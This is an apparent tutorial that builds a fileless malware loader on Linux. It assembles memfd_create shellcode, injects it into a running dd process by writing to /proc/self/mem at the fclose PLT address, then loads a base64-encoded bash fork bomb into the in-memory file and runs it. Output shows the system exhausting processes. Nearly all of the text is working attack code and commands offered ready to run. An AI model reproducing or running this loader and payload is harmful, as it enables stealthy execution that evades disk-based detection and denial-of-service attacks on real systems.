first we get the syscall numbers for
- memfd_create
- pause
- exit
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep memfd_create
#define __NR_memfd_create 319
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep pause
#define __NR_pause 34
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep exit
#define __NR_exit 60
next we create some assembly that will
- duplicate FDs: 10 and 11
xor rax, rax
xor rdi, rdi
mov di, 10
mov rax, 0x20
syscall
xor rax, rax
inc rdi
mov rax, 0x20
syscall
- create an in-memory-only file (syscall 319)
push 0x78436f73
mov rdi, rsp
mov rsi, 0
mov rax, 319
syscall
- suspend the process (syscall 34)
mov rax, 34
syscall
- exit process (syscall 60) (should never be reached)
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
putting it all together:
BITS 64
global _start
section .text
_start:
xor rax, rax
xor rdi, rdi
mov di, 10
mov rax, 0x20
syscall
xor rax, rax
inc rdi
mov rax, 0x20
syscall
memfd_create:
push 0x78436f73
mov rdi, rsp
mov rsi, 0
mov rax, 319
syscall
pause:
mov rax, 34
syscall
exit:
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
next, we nasm the assembly code and do a hexdump,
nasm memfd.asm
hexdump -v -e '"\\""x" 1/1 "%02x" ""' memfd
\x48\x31\xc0\x48\x31\xff\x66\xbf\x0a\x00\xb8\x20\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\xff\xc7\xb8\x20\x00\x00\x00\x0f\x05\x68\x73\x6f\x43\x78\x48\x89\xe7\xbe\x00\x00\x00\x00\xb8\x3f\x01\x00\x00\x0f\x05\xb8\x22\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05
next, we find the PID addresses for DD fclose,
setarch x86_64 -R dd if=/proc/self/maps | grep "bin/dd"
555555554000-555555556000 r--p 00000000 ca:01 262762 /usr/bin/dd
555555556000-555555564000 r-xp 00002000 ca:01 262762 /usr/bin/dd
555555564000-555555569000 r--p 00010000 ca:01 262762 /usr/bin/dd
555555569000-55555556a000 r--p 00014000 ca:01 262762 /usr/bin/dd
55555556a000-55555556b000 rw-p 00015000 ca:01 262762 /usr/bin/dd
let's remove what we don't need,
setarch x86_64 -R dd if=/proc/self/maps | grep "bin/dd" | head -c 12
55555555400
objdump -Mintel -d `which dd` | grep fclose
0000000000002170 <fclose@plt>:
67e6: e8 85 b9 ff ff call 2170 <fclose@plt>
681b: e9 50 b9 ff ff jmp 2170 <fclose@plt>
let's remove what we don't need,
objdump -Mintel -d `which dd` | grep fclose | tr -d ' ' | grep jmp | cut -c 1-4
681b
we see the PID addresses are,
0x555555554000
0x681b
now, let's put that into some variables,
pid_address_1=$(setarch x86_64 -R dd if=/proc/self/maps | grep "bin/dd" | head -c 12)
pid_address_2=$(objdump -Mintel -d `which dd` | grep fclose | tr -d ' ' | grep jmp | cut -c 1-4)
now, let's create some shellcode that uses the hexdump and PID addresses to create an in-memory-only file,
echo -n -e "\x48\x31\xc0\x48\x31\xff\x66\xbf\x0a\x00\xb8\x20\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\xff\xc7\xb8\x20\x00\x00\x00\x0f\x05\x68\x73\x6f\x43\x78\x48\x89\xe7\xbe\x00\x00\x00\x00\xb8\x3f\x01\x00\x00\x0f\x05\xb8\x22\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05" | setarch x86_64 -R dd of=/proc/self/mem bs=1 seek=$(( 0x$pid_address_1 + 0x$pid_address_2 )) conv=notrunc 10<&0 11<&1 & sudo ls -al /proc/$(pidof dd)/fd/
now, let's create a wabbit virus that we can encode to the in-memory-only file,
#!/bin/bash
:(){ :|:& };:
chmod +x wabbit.sh
cp wabbit.sh wabbit
now let's base64 encode it,
cat wabbit | base64 -w0 ; echo
IyEvYmluL2Jhc2gKOigpeyA6fDomIH07Ogo=
then, transfer it to the in-memory-only file,
echo "IyEvYmluL2Jhc2gKOigpeyA6fDomIH07Ogo=" | base64 -d > /proc/`pidof dd`/fd/3
and finally, run the in-memory-only file,
/proc/`pidof dd`/fd/3 -a
putting it all together we have,
#!/bin/bash
pid_address_1=$(setarch x86_64 -R dd if=/proc/self/maps | grep "bin/dd" | head -c 12)
pid_address_2=$(objdump -Mintel -d `which dd` | grep fclose | tr -d ' ' | grep jmp | cut -c 1-4)
echo -n -e "\x48\x31\xc0\x48\x31\xff\x66\xbf\x0a\x00\xb8\x20\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\xff\xc7\xb8\x20\x00\x00\x00\x0f\x05\x68\x73\x6f\x43\x78\x48\x89\xe7\xbe\x00\x00\x00\x00\xb8\x3f\x01\x00\x00\x0f\x05\xb8\x22\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05" | setarch x86_64 -R dd of=/proc/self/mem bs=1 seek=$(( 0x$pid_address_1 + 0x$pid_address_2 )) conv=notrunc 10<&0 11<&1 & sudo ls -al /proc/$(pidof dd)/fd/
echo "IyEvYmluL2Jhc2gKOigpeyA6fDomIH07Ogo=" | base64 -d > /proc/`pidof dd`/fd/3
/proc/`pidof dd`/fd/3 -a
and running it, we have,
sudo chmod +x gaslit_wabbit.sh
sudo ./gaslit_wabbit.sh
dr-x------ 2 admin admin 0 Mar 3 19:15 .
dr-xr-xr-x 9 admin admin 0 Mar 3 19:15 ..
lr-x------ 1 admin admin 64 Mar 3 19:15 0 -> 'pipe:[15084]'
lrwx------ 1 admin admin 64 Mar 3 19:15 1 -> /dev/pts/0
lr-x------ 1 admin admin 64 Mar 3 19:15 10 -> 'pipe:[15084]'
lrwx------ 1 admin admin 64 Mar 3 19:15 11 -> /dev/pts/0
lrwx------ 1 admin admin 64 Mar 3 19:15 2 -> /dev/pts/0
lrwx------ 1 admin admin 64 Mar 3 19:15 3 -> '/memfd:soCx (deleted)'
proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable
/proc/949/fd/3: fork: retry: Resource temporarily unavailable